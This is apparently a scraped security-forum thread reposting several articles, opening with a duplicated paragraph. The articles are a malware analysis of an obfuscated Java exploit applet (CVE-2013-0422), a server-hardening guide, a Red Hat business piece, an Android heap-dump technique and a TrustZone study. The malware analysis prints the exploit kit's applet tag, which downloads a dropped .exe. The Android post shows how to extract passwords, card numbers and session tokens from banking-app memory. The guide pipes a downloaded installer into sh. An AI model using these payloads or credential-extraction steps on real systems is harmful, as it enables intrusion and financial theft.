fast_DELETED_er14.biz/zHvFxj0QRZA/04az-G112lI05m_AF0Y_C5s0Ip-Vk05REX_0AOq_e0skJ/A0tqO-Z0hT_el0iDbi0-4pxr17_11r_09ERI_131_WO0p-MFJ0uk-XF0_IOWI07_Xsj_0ZZ/8j0A/qql0alP/C0o-lKs05qy/H0-nw-Q108K_l70OC-5j150SU_00q-RL0vNSy/0kfAS0X/rmt0N/KOE0/zxE/W0St-ug0vF8-W0xcNf0-FwMd/0KFCi0MC-Ot0z1_kP/0wm470E/y2H0nlwb14-oS8-17jOB0_p2TQ0/eA3-o0NOiJ/0kWpL0LwBo0-sCO_q0El_GQ/roFEKrLR7b.exe?nYiiC38a=8Hx5S" The third parameter was the .exe that the applet drops. There was no real need to explore any more deeply just to get an overview of what the applet does. However the point here was to analyze the vulnerability that this .jar file exploits. At this point I should say that I was biased. I had read a McAfee report (http://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/24000/PD24588/en_US/McAfee_Labs_Threat_Advisory_STYX_Exploit_Kit.pdf) about a similar campaign using the same Exploit kit. In this report they said that the malware dropped by this particular HTML inside the kit was CVE-2013-0422. Usually the first clue which might confirm this would be verdicts from AV vendors, but this time it was not the case: https://www.virustotal.com/es/file/e6e27b0ee2432e2ce734e8c3c1a199071779f9e3ea5b327b199877b6bb96c651/analysis/1375717187/ Ok, so let's take a look at the decompiled code, starting from the entry point. We can confirm that the ZqnpOsRRk class is implementing the Applet: package QPAfQoaG;import java.applet.Applet; import java.lang.reflect.Constructor; import java.lang.reflect.Method; public class ZqnpOsRRk extends Applet Anti-decompiling techniques in malicious Java Applets Step 1: How this started While I was investigating the Trojan.JS.Iframe.aeq case (see blogpost < http://www.securelist.com/en/blog?weblogid=9151>) one of the files dropped by the Exploit Kit was an Applet exploiting a vulnerability: <script> document.write('<applet archive="dyJhixy.jar" code="QPAfQoaG.ZqnpOsRRk"><param value="http://fast_DELETED_er14.biz/zHvFxj0QRZA/04az-G112lI05m_AF0Y_C5s0Ip-Vk05REX_0AOq_e0skJ/A0tqO-Z0hT_el0iDbi0-4pxr17_11r_09ERI_131_WO0p-MFJ0uk-XF0_IOWI07_Xsj_0ZZ/8j0A/qql0alP/C0o-lKs05qy/H0-nw-Q108K_l70OC-5j150SU_00q-RL0vNSy/0kfAS0X/rmt0N/KOE0/zxE/W0St-ug0vF8-W0xcNf0-FwMd/0KFCi0MC-Ot0z1_kP/0wm470E/y2H0nlwb14-oS8-17jOB0_p2TQ0/eA3-o0NOiJ/0kWpL0LwBo0-sCO_q0El_GQ/roFEKrLR7b.exe?nYiiC38a=8Hx5S" name="kYtNtcpnx"/></applet>'); </script> Step 2: First analysis So basically I unzipped the .jar and took a look using JD-GUI, a java decompiler. These were the resulting classes inside the .jar file: The class names are weird, but nothing unusual. Usually the Manifest states the entry point (main class) of the applet. In this case there was no manifest, but we could see this in the applet call from the html: <applet archive="dyJhixy.jar" code="QPAfQoaG.ZqnpOsRRk"> << Package and Class to execute <param value="http:// fast_DELETED_er14.biz/zHvFxj0QRZA/04az-G112lI05m_AF0Y_C5s0Ip-Vk05REX_0AOq_e0skJ/A0tqO-Z0hT_el0iDbi0-4pxr17_11r_09ERI_131_WO0p-MFJ0uk-XF0_IOWI07_Xsj_0ZZ/8j0A/qql0alP/C0o-lKs05qy/H0-nw-Q108K_l70OC-5j150SU_00q-RL0vNSy/0kfAS0X/rmt0N/KOE0/zxE/W0St-ug0vF8-W0xcNf0-FwMd/0KFCi0MC-Ot0z1_kP/0wm470E/y2H0nlwb14-oS8-17jOB0_p2TQ0/eA3-o0NOiJ/0kWpL0LwBo0-sCO_q0El_GQ/roFEKrLR7b.exe?nYiiC38a=8Hx5S" The third parameter was the .exe that the applet drops. There was no real need to explore any more deeply just to get an overview of what the applet does. However the point here was to analyze the vulnerability that this .jar file exploits. At this point I should say that I was biased. I had read a McAfee report (http://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/24000/PD24588/en_US/McAfee_Labs_Threat_Advisory_STYX_Exploit_Kit.pdf) about a similar campaign using the same Exploit kit. In this report they said that the malware dropped by this particular HTML inside the kit was CVE-2013-0422. Usually the first clue which might confirm this would be verdicts from AV vendors, but this time it was not the case: https://www.virustotal.com/es/file/e6e27b0ee2432e2ce734e8c3c1a199071779f9e3ea5b327b199877b6bb96c651/analysis/1375717187/ Ok, so let's take a look at the decompiled code, starting from the entry point. We can confirm that the ZqnpOsRRk class is implementing the Applet: package QPAfQoaG; import java.applet.Applet; import java.lang.reflect.Constructor; import java.lang.reflect.Method; public class ZqnpOsRRk extends Applet But quickly we see that something is not working. The names of the classes and methods are random and the strings obfuscated, but this is nothing to worry about. However in this case we see that the decompiler is showing strange “code”: public ZqnpOsRRk() { (-0.0D); return; 1L; 2; 1; } Or it is not able to decompile methods of the class directly and is just showing up the bytecode as comments: public void ttiRsuN() throws Throwable {// Byte code: // 0: ldc_w 10 // 3: iconst_4 // 4: ineg // 5: iconst_5 // 6: ineg // 7: pop2 // 8: lconst_0 // 9: pop2 Now I was starting to wonder how bad the situation was? Could I still get enough information to discover which CVE is exploited by this .jar? Time for some serious digging! I started to rename the classes based on their first letters (ZqnpOsRRk to Z, CvSnABr to C, etc) and to match the methods with what I thought they were doing. It’s much like any RE using IDA. There was a lot of “strange” code around, which got strange interpretations from the decompiler. I decided to delete it to tidy up the task. Of course, there was a risk that I might delete something important, but this time it looked like misinterpretations of the bytecode, dead code and unused variables. So I deleted things like: public static String JEeOqvmFU(Class arg0) { (-5); (-2.0F); return 1;Where I saw commented bytecode (not decompiled by JD-GUI), I deleted everything but the references to functions/classes. At the end I had a much cleaner code, but I was very worried that I might be missing important parts. For instance, I had procedures which just returned NULL, function which just declared variables, unused variables, etc. How much of this, if any, was part of the expolit and how much was just badly interpreted code? At least I was able to get something useful after cleaning the code. I was able to localize the function used to deobfuscate the strings: public static String nwlavzoh(String mbccvkha) {byte[] arrayOfByte1 = mbccvkha.getBytes(); byte[] arrayOfByte2 = new byte[arrayOfByte1.length]; for (int i = 0; i < arrayOfByte1.length; i++) arrayOfByte2 = ((byte)(arrayOfByte1 ^ 0x44)); return new String(arrayOfByte2); } Not exactly rocket science. Now I could decompile all the strings, but I still didn't have a clear idea of what was happening in this .jar. Step 2: Different strategy Seeing that the code was not decompiled properly I remembered that to check which vulnerability is being exploited you don’t really need a fully decompiled code. Finding the right clues can point you to the right exploit. At this point I thought that it might be CVE-2013-0422, so I decided to get more information about this vulnerability and see if I could find something in the code to confirm this. This CVE was discovered in January 2013. Oracle was having a bad time just then, and shortly afterwards a few other Java vulnerabilities were exposed. I downloaded a few samples from VirusTotal with this CVE. All of them were easily decompiled and I saw some ways to implement this vulnerability. But there was no big clue. I decided also to try a few other decompilers, but still got no results. However when taking a second look at the results of running a now-obsolete JAD I saw that the decompiled code was quite different from the one of JD-GUI, even though it was still incomplete and unreadable. But there were different calls with obfuscated strings to the deobfuscation function. The applet uses a class loader with the obfuscated strings to avoid detection, making it difficult to know what it is loading without the properly decompiled strings. But now I had all of them! After running the script I got: com.sun.jmx.mbeanserver.JmxMBeanServernewMBeanServer javax.management.MbeanServerDelegateboolean getMBeanInstantiator findClass sun.org.mozilla.javascript.internal.Context com.sun.jmx.mbeanserver.Introspector createClassLoader Now this was much more clear and familiar to me. I had another look at one of the PDFs I was just reading and bingo! https://partners.immunityinc.com/idocs/Java%20MBeanInstantiator.findClass%200day%20Analysis.pdf So finally I could confirm the CVE was indeed CVE-2013-0422. Step 3: Why didn’t the Java Decompiler work? In these cases it is always possible to take another approach and do some dynamic analysis debugging the code. If you want to go this way I recommend reading this for the setup: Understanding Java Code and Malware | Malwarebytes Unpacked However, I couldn't stop thinking about why all the decompilers failed with this code. Let's take a look at the decompiled bytecode manually. We can easily get it like this: javap -c -classpath LOCAL_PATH ZqnpOsRRk > ZqnpOsRRk.bytecode Let's take a look to the code we get and what it means, with an eye on the decompiled code. We will need this: Java bytecode instruction listings - Wikipedia, the free encyclopedia public QPAfQoaG.ZqnpOsRRk(); 0: aload_0 1: invokespecial #1; //Method java/applet/Applet."<init>":()V 4: dconst_0 << push 0D 5: dneg << -0D 6: pop2 << pop -0D 7: nop 8: return 9: lconst_1 <<deadcode_from_here 10: pop2 11: goto 14 14: iconst_2 15: iconst_2 16: pop2 17: iconst_1 18: pop and the decompiled code with the corresponding instruction numbers: public class ZqnpOsRRk extends Applet { public ZqnpOsRRk() { (-0.0D); return; 1L; 2; 1; } So we can see how a method which just provides returns leaves a lot of garbage in the middle. The decompiler cannot handle this and tries to interpret all these operations, these anti-decompilation artifacts. It just adds a lot of extra noise to the final results. We can safely delete all this. public class ZqnpOsRRk extends Applet { public ZqnpOsRRk() { return; } There are TONS of these artifacts in the bytecode. Here a few examples: 1: lconst_0 2: lneg 3: pop2 1: iconst_5 2: ineg 3: iconst_1 4: ineg 5: pop2 1: iconst_5 2: ineg 3: iconst_5 4: swap 5: pop2 There are also a lot of nonsense jumps, such as push NULL then jump if null, gotos and nops. Basically it’s difficult to delete these constructors from the bytecode because the parameters are different and don’t always throw up the same opcodes. It’s up to the decompiler to get rid of this dead code. After a couple of hours manually cleaning the code and reconstructing it from the bytecodes, I could finally read the result and compare it with the original decompiled one. Now I understood what was happening and what was wrong with the original code I could safely delete the dead code and introduce readable names for classes and methods. But there was still one unanswered question: why was the first decompiler unable to deobfuscate all the strings, and why did I have to use JAD to get everything? JD-GUI returns the bytecode of the methods that it cannot decompile but for instructions such as ldc (that puts a constant onto the stack) it does not include the constant along with the instruction in the output code. That's why I couldn't get them until I used a second decompiler. For example: JD-GUI output: // 18: ldc 12 Bytecode output: 18: ldc #12; //String '+)j71*j.)<j)&!%*7!62!6j^N)<t^F!%*^W!62!6 JAD output: class1 = classloader.loadClass(CvSnABr.nwlavzoh("'+)j71*j.)<j)&!%*7!62!6j16)<t06!%*27!62!6")); In the bytecode, happily, we can find all these references and complete the job. Final thoughts When I was working in this binary I remembered a presentation in BH 2012 about anti-decompiling techniques used for Android binaries. This was the first time I had personally encountered a Java binary implementing something similar. Even they are not that difficult to avoid, the analysis is much slower and it can be really hard to crack big binaries. So there are two open questions: first, what can be done, from the decompiler’s perspective, to avoid these tricks? I’m hoping to discuss this with the authors of JD-GUI. Secondly, how can we make code “undecompilable”? Are there automatic tools for this? Again, I’m hoping to find out more, but please contact me if you have anything useful to share. Sursa: https://www.securelist.com/en/analysis/204792300/Anti_decompiling_techniques_in_malicious_Java_Applets
  6. WEB SERVER SECURITY Rohit Shaw August 16, 2013 This article gives you a short and understandable summary about web servers, the different types of servers, the security add-on software installation process, and security aspects In this article we will learn the installation of a control panel and a benefits of add-on security software. Web servers, just as a general introduction, are the big computers that serve as website hosts for a particular organization. The common characteristics that web servers have are public IP addresses and domain names. This information may sound boring but is offered for beginners. Security is a standard that has developed to protect the web server from intrusions, hacking attempts, and other malicious uses. A brief introduction to the types of web servers: There are those based on Microsoft Windows and those based on Linux, which are respectively named Microsoft IIS Server and Apache (these are the most common, although there are others like Nginx, Cherokee, and Zeus, etc). Throughout my article, I will introduce the techniques of hardening a web server, which is a chief role in web server security. The attack vectors on a web server depend on both the web application security that is hosted on the web server and the web server security, which includes operating system hardening, application server hardening, etc). Starting with the web server security, the first point of analysis for exploiting the server would be the services. I would suggest all the server security administrators should run a service to check on all the ports that are open, filtered, and closed. One of the best tools would be Nmap for scanning the network. Use a control panel for managing the hosted websites on the server. There are many control panels available, such as cPanel, Parallel Plesks, DirectAdmin, Webmin, ISPconfig, Virtualmin, etc. The chief benefit of using a control panel is that it provides a graphical web-based interface with a client-side interface. It is extremely easy to navigate, with an icon-based menu on the main page. A server administrator can use a control panel to set up new websites, email accounts and DNS entries. With the control panel, you can also upgrade and install new software. After that, install Atomic Secured Linux (ASL) in your web server; it is an add-on for Linux systems. We will discuss ASL later in this article. Now I am going to show you how to set up a control panel on a web server. Here we are going to install cPanel and WHM (Web Host Manager). cPanel Setup Manual Prerequisites: Before installing cPanel we need to fulfill some conditions: Your IP must be static before purchasing cPanel. It will not work properly with a dynamic IP address. The hostname on your server must be a fully qualified host name (FQHN); for example, web.domain.com. You can change the “hostname=” line in etc/sysconfig/network and then you must restart your network. Hostname Change:For changing the host name, there are usually three steps, as follows: Sysconfig/Network—Open the /etc/config/network file with any text editor. Modify the HOSTNAME=value to match your FQHN host name. # vi /etc/sysconfig/network HOSTNAME=myserver.domain.com Host file—Change the host that is associated with your main IP addresses for your server; this is for internal networking. (Found at /etc/hosts) Run hostname—This command allows modifying the hostname on the server, but it will not actively update all programs that are running under the old hostname. Restart Networking: After completing the above prerequisites and requirements we are done and we just give a reboot to the system to accept the changes. We can reboot by using this command: # /etc/init.d/network restart Downloading cPanel: After registering your IP, we have to input a command as root user in the terminal; that is, wget http://www.layer1.cpanel.net/latest cPanel Installation: After downloading the installer file, type in the following command as root user:sh latest After the install is complete, you should see this: “cPanel Layer 2 install complete.” Now point your web browser to port 2086 0r 2087 by providing your IP address directly in the web browser: https://youriphere:2087 NOTE: There is no method of uninstalling cPanel. You will have to reload the operating system. Now, after installing cPanel, the server is safe from rooting attacks, which hackers use for compromising all websites that are hosted on the same server. But the main critical threats are PHP shell execution and the DDoS attack on the server, which are not prevented by using a cPanel. So we just started looking for an anti-DDoS solution on the Internet and we found one, called as Atomic Secured Linux. Atomic Secured Linux Atomic Secured Linux is an easy-to-use, out-of-the-box unified security suite add-on for Linux systems, designed to protect servers against zero-day threats. Unlike other security solutions, ASL is designed for beginners and experts alike. You just install ASL on your existing system and it does all the work for you. This add-on was developed to create a unique security solution for beginners and experts ASL works by combining security at all layers, from the firewall to the applications and services and all the way down to the kernel, to provide the most complete multi-spectrum protection solution available for Linux servers today. It helps to ensure that your system is secure and also compliant with commercial and government security standards. Features Complete intrusion prevention Stateful firewall Real-time shunning/firewalling and blocking of attack sources Brute force attack detection and prevention Automatic self-healing system Automated file upload scanning protection Built-in vulnerability and compliance scanner and remediation system Suspicious event detection and notification Denial of service protection Malware/antivirus protection Auto-learning role-based access control Data loss protection and real-time web content redaction system Automated secure log management with secure remote logging Web based GUI management Kernel protection Built-in virtualization Auto healing/hardening Atomic Secured Linux works on various platforms, such as CentOS, Red Hat Enterprise Linux, Scientific Linux, Oracle Linux, and Cloud Linux. It also supports many control panels, including cPanel, Virtualmin, DirectAdmin, Webmin, and Parallel Plesk. Now I am going to show you how to install Atomic Secured Linux. It is quite easy to install. Open the terminal for root use and type in: wget -q -O – https://www.atomicorp.com/installers/asl |sh Follow the instructions in the installer, being sure to answer the configuration questions appropriately for your system. Once the installation is complete, you will need to reboot your system to boot into the new hardened kernel that comes with ASL. You do not have to use this kernel to enjoy the other features of ASL, but we recommend that you use it, because it includes many additional security features that are not found in non-ASL system. Now log in to your GUI at https://youriphere:30000.You can view alerts, block attackers, configure ASL, and use its many features from the GUI. It protects from cross-site scripting, SQL injection, remote code inclusion, and many other web-based attacks. It intelligently detects search engines to prevent accidental blocking of web crawlers. It detects suspicious events and events of importance and sends alerts about events such as privilege escalation, software installation and modification, file privilege changes, and more. ASL detects suspicious processes, files, user actions, hidden ports, kernel activity, open ports, and more. It has a built-in vulnerability and compliance scanner and remediation system to ensure that your system is operating in a safe, secure, and compliant manner. It automatically hardens Linux servers based on security policies and ships with a world-class set of policies developed by security experts. Also, it automatically disables unsafe functions in web technologies such as PHP to help prevent entire classes of vulnerabilities; for example, executing PHP shells. It detects and blocks brute force and “low and slow” attacks on web applications and intelligently identifies when a web application has denied access, even for login failures. Alerting is done for all domains hosted on a server. The graphical user interface of the firewall is easy to use and maintain. The advanced configuration of ASL allows handling PHP shell functions, antivirus, mod security rules, rootkit hunter, etc. Hence we conclude that, after doing these things, your web server will be secured from attacks. Nowadays, most of the websites hacked are hosted by a shared server. An attacker’s main method is to upload a PHP shell to a web server through a vulnerable website, from which an attacker can deface all websites hosted on that server. That’s why we suggest using cPanel, because cPanel provides separate accounts for all website owners; if an attacker can upload a PHP shell from a website, he will not have access to all the other websites that are hosted on that server, he can only deface that particular site. We also discussed Atomic Secured Linux: It blocks attacks and alerts from all types of attacks. Specifically, it blocks the PHP shell functions and disables the PHP shell from executing in the web server. References CentOS/REL - Installing cPanel & WHM 11.24 | Knowledge Center | Rackspace Hosting https://www.atomicorp.com/products/asl.html Sursa: WEB SERVER SECURITY
  7. x86 Code Virtualizer Src Fh_prg Hello every body Here is my code virtualizer source code , now public download and enjoy Attached Files VM.zip (153.9 KB, 48 views) Sursa: x86 Code Virtualizer Src
      • 1
      • Like
  8. rstforums.com/forum/74095-coca-cola-666-a.rst OMG, RST e posedat! FALS. Noi suntem diavolii, noi nu putem fi posedati.
  9. Super, sper sa fie si cativa open-source.
  10. Toata lumea vine la Sud.
  11. Red Hat CEO: Go Ahead, Copy Our Software While most companies fight copycats, Red Hat embraces its top clone, CentOS. Here's how that helps it fight real enemies like VMware. Matt Asay August 13, 2013 Imagine your company spent more than $100 million developing a product. Now imagine that a competitor came along and cloned your product and distributed a near-perfect replica of it. Not good, right? If you're Apple, you spend years and tens of millions of dollars fighting it, determined to be the one and only source of your product. If you're Red Hat, however, you embrace it—as Red Hat CEO Jim Whitehurst told ReadWrite in an interview. After Unix For years the enterprise data center was defined by expensive hardware running varieties of the Unix operating system. Over time, both Windows and Linux chewed into Unix's market share, with Red Hat winning the bulk of the Linux spoils. The key to victory? Both Windows and Linux offered low-cost, high-value alternatives to Unix's sky-high pricing. With Unix cowering in a corner, one would think that the battle would shift to Linux versus Windows. The reality, however, is somewhat different. As Whitehurst tells it, Red Hat "certainly competes" with Microsoft, but "generally those IT decisions are made at the architecture level before you get into a specific Linux versus Windows bake-off." Today enterprise architecture tends to be Linux-based, while 10 years ago it was Windows, which means that more often than not, Red Hat Enterprise Linux is baked into enterprise IT decisions. "Going forward with new workloads, they are heavily Linux-based," notes Whitehurst. As such, Whitehurst doesn't "worry about Microsoft long-term, because it's Red Hat and VMware that are defining future data center strategy." Taking On VMware Ah, yes, VMware. Sun Microsystems, in its day the leading Unix vendor but now swallowed up by Oracle, once provided Red Hat with a handy villain to target. Today data-center software maker VMware is Red Hat's Enemy Number One. The reason is simple: No other company more closely matches Red Hat's ambitions, albeit with a very different approach. As Whitehurst emphasizes, "When you start thinking about where the future of the data center is going, VMware has a similar view to ours, but they're doing it with a proprietary innovation model and we're open." How open? So open that not only is Red Hat fighting VMware with its own open-source products, but it's also embracing clones like CentOS. While open source is increasingly established within the technology world, few understand its implications for an open-source software business. In the case of Red Hat, it develops the popular Red Hat Enterprise Linux (RHEL) operating system. But because Linux is a community-developed OS, Red Hat must release all of its Linux code to others. (Instead of charging for a software license per se, Red Hat has customers pay for a subscription that covers services and support.) This paves the way for an organization like CentOS to develop a "a Linux distribution derived from ... a prominent North American Enterprise Linux vendor" which "aims to be 100% binary compatible" with that Linux vendor. It's the imitator that dare not speak its name, but everyone knows CentOS is a like-for-like Red Hat clone. How can this possibly be good for Red Hat? Embracing The Parasite While some like Microsoft have threatened Red Hat with the specter of even greater competition from CentOS, Whitehurst argues that CentOS "plays a very valuable role in our ecosystem." How? By ensuring that Red Hat remains the Linux default: CentOS is one of the reasons that the RHEL ecosystem is the default. It helps to give us an ubiquity that RHEL might otherwise not have if we forced everyone to pay to use Linux. So, in a micro sense we lose some revenue, but in a broader sense, CentOS plays a very valuable role in helping to make Red Hat the de facto Linux. But couldn't another Linux vendor like SuSE or Canonical, the primary backer of Ubuntu, undercut Red Hat with an equally free OS? If $0 is the magic price point, other Linux vendors can easily match that, right? Whitehurst responds: "SuSE often comes in at a lower price point than RHEL, but most people would prefer to have a common code base like RHEL plus CentOS than a cheaper but always fee-based enterprise SuSE." In other words, only Red Hat can offer the industry's leading Linux server OS and also offer—albeit indirectly—that same product for free. Microsoft has tacitly acknowledged a similar phenomenon: While the company spends heavily to fight piracy, founder Bill Gates noted in 1998 that illegal copies of its Windows operating system in China helped seed demand for the paid version. While I'm sure Red Hat's salesforce doesn't love competing with its copycat, the reality is that sales are almost certainly helped in accounts that only want RHEL for production servers and can shave costs by using CentOS for development and test servers. CentOS, in other words, gives Red Hat a lot of pricing leverage, without having to lower its prices. Embracing Developers Arguably one critical area that CentOS hasn't helped Red Hat is with developers. While developers want the latest and greatest technology, Red Hat's bread-and-butter audience over the years has been operations departments, which want stable and predictable software. (Read: boring.) CentOS, by cloning RHEL's slow-and-steady approach to Linux development, is ill-suited to attracting developers. So Red Hat is trying something different, dubbed Red Hat Software Collections. Collections includes "a collection of refreshed and supported web/dynamic languages and databases for Red Hat Enterprise Linux." Basically, Collections give developers a more fast-moving development track within slower-moving RHEL. Or, as Whitehurst tells it, "Collections is Red Hat's way of embracing developers while keeping its appeal for operations." It will be interesting to see how this plays out. Red Hat has a long way to go in its goal to define the open data center, but with its embrace of CentOS to give it licensing leverage and of Collections to give it developer credibility, Red Hat is on the right track. Sursa: http://readwrite.com/2013/08/13/red-hat-ceo-centos-open-source
  12. [h=1]Poking Around in Android Memory[/h] Tags: memory, analysis, mobile, programming, public — etienne @ 16:31 Taking inspiration from Vlad's post I've been playing around with alternate means of viewing traffic/data generated by Android apps. The technique that has given me most joy is memory analysis. Each application on android is run in the Dalvik VM and is allocated it's own heap space. Android being android, free and open, numerous ways of dumping the contents of the application heap exist. There's even a method for it in the android.os.Debug library: android.os.Debug.dumpHprofData(String filename). You can also cause a heap dump by issuing the kill command: kill -10 <pid number> But there is an easier way, use the official Android debugging tools... Dalvik Debug Monitor Server (DDMS), -- "provides port-forwarding services, screen capture on the device, thread and heap information on the device, logcat, process, and radio state information, incoming call and SMS spoofing, location data spoofing, and more." Once DDMS is set up in Eclipse, it's simply a matter of connecting to your emulator, picking the application you want to investigate and then to dump the heap (hprof). 1.) Open DDMS in Eclipse and attach your device/emulator * Set your DDMS "HPROF action" option to "Open in Eclipse" - this ensures that the dump file gets converted to standard java hprof format and not the Android version of hprof. This allows you to open the hpof file in any java memory viewer. * To convert a android hprof file to java hprof use the hprof converter found in the android-sdk/platform-tools directory: hprof-conv <infile> <outfile> 2.) Dump hprof data Once DDMS has done it's magic you'll have a window pop up with the memory contents for your viewing pleasure. You'll immediately see that the applications UI objects and other base classes are in the first part of the file. Scrolling through you will start seeing the values of variables stored in memory. To get to the interesting stuff we can use the command-line. 3.) strings and grep the .hprof file (easy stuff) To demonstrate the usefulness of memory analysis lets look at two finance orientated apps. The first application is a mobile wallet application that allows customers to easily pay for services without having to carry cash around. Typically one would do some static analysis of the application and then when it comes to dynamic analysis you would use a proxy such as Mallory or Burp to view the network traffic. In this case it wasn't possible to do this as the application employed certificate pinning and any attempt to man in the middle the connection caused the application to exit with a "no network connection" error. So what does memory analysis have to do with network traffic? As it turns out, a lot. Below is a sample of the data extracted from memory: And there we have it, the user login captured along with the username and password in the clear. Through some creative strings and grep we can extract a lot of very detailed information. This includes credit card information, user tokens and products being purchased. Despite not being able to alter data in the network stream, it is still easy to view what data is being sent, all this without worrying about intercepting traffic or decrypting the HTTPS stream. A second example application examined was a banking app. After spending some time using the app and then doing a dump of the hprof, we used strings and grep (and some known data) we could easily see what is being stored in memory. strings /tmp/android43208542802109.hprof | grep '92xxxxxx' Using part of the card number associated with the banking app, we can locate any references to it in memory. And we get a lot of information.. And there we go, a fully "decrypted" JSON response containing lots of interesting information. Grep'ing around yields other interesting values, though I haven't managed to find the login PIN yet (a good thing I guess). Next step? Find a way to cause a memory dump in the banking app using another app on the phone, extract the necessary values and steal the banking session, profit. Memory analysis provides an interesting alternate means of finding data within applications, as well as allowing analysts to decipher how the application operates. The benefits are numerous as the application "does all the work" and there is no need to intercept traffic or figure out the decryption routines used. [h=3]Appendix:[/h] The remoteAddress field in the response is very interesting as it maps back to a range owned by Merck (one of the largest pharmaceutical companies in the world Merck & Co. - Wikipedia, the free encyclopedia) .. No idea what it's doing in this particular app, but it appears in every session I've looked at. - See more at: SensePost Blog
  13. A software level analysis of TrustZone OS and Trustlets in Samsung Galaxy Phone Tags: mobile, programming, public, python — behrang @ 13:35 Introduction: New types of mobile applications based on Trusted Execution Environments (TEE) and most notably ARM TrustZone micro-kernels are emerging which require new types of security assessment tools and techniques. In this blog post we review an example TrustZone application on a Galaxy S3 phone and demonstrate how to capture communication between the Android application and TrustZone OS using an instrumented version of the Mobicore Android library. We also present a security issue in the Mobicore kernel driver that could allow unauthorised communication between low privileged Android processes and Mobicore enabled kernel drivers such as an IPSEC driver. Mobicore OS : The Samsung Galaxy S III was the first mobile phone that utilized ARM TrustZone feature to host and run a secure micro-kernel on the application processor. This kernel named Mobicore is isolated from the handset's Android operating system in the CPU design level. Mobicore is a micro-kernel developed by Giesecke & Devrient GmbH (G&D) which uses TrustZone security extension of ARM processors to create a secure program execution and data storage environment which sits next to the rich operating system (Android, Windows , iOS) of the Mobile phone or tablet. The following figure published by G&D demonstrates Mobicore's architecture : Overview of Mobicore (courtesy of G&D) A TrustZone enabled processor provides "Hardware level Isolation" of the above "Normal World" (NWd) and "Secure World" (SWd) , meaning that the "Secure World" OS (Mobicore) and programs running on top of it are immune against software attacks from the "Normal World" as well as wide range of hardware attacks on the chip. This forms a "trusted execution environment" (TEE) for security critical application such as digital wallets, electronic IDs, Digital Rights Management and etc. The non-critical part of those applications such as the user interface can run in the "Normal World" operating system while the critical code, private encryption keys and sensitive I/O operations such as "PIN code entry by user" are handled by the "Secure World". By doing so, the application and its sensitive data would be protected against unauthorized access even if the "Normal World" operating system was fully compromised by the attacker, as he wouldn't be able to gain access to the critical part of the application which is running in the secure world. Mobicore API: The security critical applications that run inside Mobicore OS are referred to as trustlets and are developed by third-parties such as banks and content providers. The trustlet software development kit includes library files to develop, test and deploy trustlets as well as Android applications that communicate with relevant trustlets via Mobicore API for Android. Trustlets need to be encrypted, digitally signed and then remotely provisioned by G&D on the target mobile phone(s). Mobicore API for Android consists of the following 3 components: 1) Mobicore client library located at /system/lib/libMcClient.so: This is the library file used by Android OS or Dalvik applications to establish communication sessions with trustlets on the secure world 2) Mobicore Daemon located at /system/bin/mcDriverDaemon: This service proxies Mobicore commands and responses between NWd and SWd via Mobicore device driver 3) Mobicore device driver: Registers /dev/mobicore device and performs ARM Secure Monitor Calls (SMC) to switch the context from NWd to SWd The source code for the above components can be downloaded from Google Code. I enabled the verbose debug messages in the kernel driver and recompiled a Samsung S3 kernel image for the purpose of this analysis. Please note that you need to download the relevant kernel source tree and stock ROM for your S3 phone kernel build number which can be found in "Settings->About device". After compiling the new zImage file, you would need to insert it into a custom ROM and flash your phone. To build the custom ROM I used "Android ROM Kitchen 0.217" which has the option to unpack zImage from the stock ROM, replace it with the newly compiled zImage and pack it again. By studying the source code of the user API library and observing debug messages from the kernel driver, I figured out the following data flow between the android OS and Mobicore to establish a session and communicate with a trustlet: 1) Android application calls mcOpenDevice() API which cause the Mobicore Daemon (/system/bin/mcDriverDaemon) to open a handle to /dev/mobicore misc device. 2) It then allocates a "Worlds share memory" (WSM) buffer by calling mcMallocWsm() that cause the Mobicore kernel driver to allocate wsm buffer with the requested size and map it to the user space application process. This shared memory buffer would later be used by the android application and trustlet to exchange commands and responses. 3) The mcOpenSession() is called with the UUID of the target trustlet (10 bytes value, for instance : ffffffff000000000003 for PlayReady DRM truslet) and allocate wsm address to establish a session with the target trustlet through the allocated shared memory. 4) Android applications have the option to attach additional memory buffers (up to 6 with maximum size of 1MB each) to the established session by calling mcMap() API. In case of PlayReady DRM trustlet which is used by the Samsung VideoHub application, two additional buffers are attached: one for sending and receiving the parameters and the other for receiving trustlet's text output. 5) The application copies the command and parameter types to the WSM along with the parameter values in second allocated buffer and then calls mcNotify() API to notify the Mobicore that a pending command is waiting in the WSM to be dispatched to the target trustlet. 6) The mcWaitNotification() API is called with the timeout value which blocks until a response received from the trustlet. If the response was not an error, the application can read trustlets' returned data, output text and parameter values from WSM and the two additional mapped buffers. 7) At the end of the session the application calls mcUnMap, mcFreeWsm and mcCloseSession . The Mobicore kernel driver is the only component in the android operating system that interacts directly with Mobicore OS by use of ARM CPU's SMC instruction and Secure Interrupts . The interrupt number registered by Mobicore kernel driver in Samsung S3 phone is 47 that could be different for other phone or tablet boards. The Mobicore OS uses the same interrupt to notify the kernel driver in android OS when it writes back data. Analysis of a Mobicore session: There are currently 5 trustlets pre-loaded on the European S3 phones as listed below: shell@android:/ # ls /data/app/mcRegistry 00060308060501020000000000000000.tlbin 02010000080300030000000000000000.tlbin 07010000000000000000000000000000.tlbin ffffffff000000000000000000000003.tlbin ffffffff000000000000000000000004.tlbin ffffffff000000000000000000000005.tlbin The 07010000000000000000000000000000.tlbin is the "Content Management" trustlet which is used by G&D to install/update other trustlets on the target phones. The 00060308060501020000000000000000.tlbin and ffffffff000000000000000000000003.tlbin are DRM related truslets developed by Discretix. I chose to analyze PlayReady DRM trustlet (ffffffff000000000000000000000003.tlbin), as it was used by the Samsung videohub application which is pre-loaded on the European S3 phones. The videohub application dose not directly communicate with PlayReady trustlet. Instead, the Android DRM manager loads several DRM plugins including libdxdrmframeworkplugin.so which is dependent on libDxDrmServer.so library that makes Mobicore API calls. Both of these libraries are closed source and I had to perform dynamic analysis to monitor communication between libDxDrmServer.so and PlayReady trustlet. For this purpose, I could install API hooks in android DRM manager process (drmserver) and record the parameter values passed to Mobicore user library (/system/lib/libMcClient.so) by setting LD_PRELOAD environment variable in the init.rc script and flash my phone with the new ROM. I found this approach unnecessary, as the source code for Mobicore user library was available and I could add simple instrumentation code to it which saves API calls and related world shared memory buffers to a log file. In order to compile such modified Mobicore library, you would need to the place it under the Android source code tree on a 64 bit machine (Android 4.1.1 requires 64 bit machine to compile) with 30 GB disk space. To save you from this trouble, you can download a copy of my Mobicore user library from here. You need to create the empty log file at 